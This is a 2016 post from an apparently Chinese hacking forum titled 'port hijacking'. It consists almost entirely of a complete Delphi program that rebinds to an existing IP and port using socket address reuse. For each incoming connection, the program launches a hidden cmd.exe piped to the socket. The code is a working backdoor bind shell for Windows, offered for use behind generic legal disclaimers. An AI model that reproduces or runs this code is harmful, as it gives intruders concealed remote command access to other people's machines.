HanDs
NO.2

[Delphi文章] 端口劫持 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

program portadd;  
uses windows,winsock;  
var 
uIp:String;  
uPort:Dword;  
MainTid,TempId:Dword;  
function StrToInt(const S: string): Integer;  
var E:Integer;  
begin  
Val(S,Result,E);  
end;  
function ShellThread(Parameter: Pointer): Integer;  
var 
hSocket: PInteger;  
si: TStartupInfo;  
pi: TProcessInformation;  
szCmdLine:array [0..MAX_PATH] of char;  
begin  
GetEnvironmentVariable('Comspec',szCmdLine,MAX_PATH);  
hSocket:=Parameter;  
ZeroMemory(@si,SizeOf(si));  
si.cb:=SizeOf(si);  
si.dwFlags:=STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;  
si.wShowWindow:=SW_HIDE;  
si.hStdInput:=hSocket^;  
si.hStdOutput:=hSocket^;  
si.hStdError:=hSocket^;  
CreateProcess(nil,szCmdLine,nil,nil,TRUE,CREATE_NEW_CONSOLE,nil,nil,si,pi);  
WaitForSingleObject(pi.hProcess,INFINITE);  
CloseHandle(pi.hProcess);  
CloseHandle(pi.hThread);  
Shutdown(hSocket^,SD_BOTH);  
CloseSocket(hSocket^);  
Dispose(hSocket);  
Result:=0;  
end;  
function BuildPort(Parameter: Pointer): Integer;  
var 
WSAData: TWSAData;  
FDSet: TFDSet;  
MySockAddrIn: TSockAddrIn;  
MySocket: TSocket;  
Connected: PInteger;  
ThreadID: Cardinal;  
val:bool;  
begin  
WSAStartUp(MakeWord(1,1),WSAData);  
MySocket:=Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
val:=True;  
setsockopt(MySocket,SOL_SOCKET,SO_REUSEADDR,@val,sizeof(val));  
//绑定Port的端口如果端口没有创建,则自动创建一个,有的话就绑定上去  
//套接字选项SOL_SOCKET SO_REUSEADDR设置端口重用  
MySockAddrIn.sin_family:=AF_INET;  
MySockAddrIn.sin_addr.s_addr:=inet_addr(PChar(uIp));  
MySockAddrIn.sin_port:=htons(uPort);  
Bind(MySocket,MySockAddrIn,SizeOf(MySockAddrIn));  
Listen(MySocket,1);  
while True do 
begin  
FD_Zero(FDSet);  
FD_Set(MySocket,FDSet);  
Select(0,@FDSet,nil,nil,nil);  
if FD_IsSet(MySocket,FDSet) then  
begin  
New(Connected);  
Connected^:=Accept(MySocket,nil,nil);  
if Connected^<>SOCKET_ERROR then  
CreateThread(nil,0,@ShellThread,Connected,0,ThreadID)  
else Break;  
end;  
end;  
WSACleanup;  
end;  
begin  
uIp:=ParamStr(1);  
UPort:=StrTOInt(ParamStr(2));  
MainTid:=CreateThread(nil,0,@BuildPort,nil,0,TempId);  
WaitForSingleObject(MainTid,INFINITE);  
end. 


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
劫持
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组